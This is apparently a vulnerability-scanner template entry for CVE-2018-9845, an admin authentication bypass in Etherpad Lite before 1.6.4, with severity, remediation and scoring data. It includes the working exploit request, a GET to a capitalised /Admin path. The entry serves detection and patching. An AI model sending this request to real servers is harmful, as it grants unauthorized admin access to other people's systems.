| Title | Etherpad Lite <1.6.4 - Admin Authentication Bypass |
|---|---|
| Author | philippedelteil |
| Severity | Critical |
| Impact | An attacker can bypass the admin authentication and gain unauthorized access to the admin panel. |
| Remediation | Upgrade to Etherpad Lite version 1.6.4 or later to fix the vulnerability. |
| CVSS Score | 9.8 |
| EPSS Score | 0.65759 |
| CVE ID | CVE-2018-9845 |
| CWE ID | CWE-178 |
| Tags | cve2018 cve etherpad auth-bypass vuln |
Etherpad Lite before 1.6.4 is exploitable for admin access.
GET /Admin HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh, Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6.1 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
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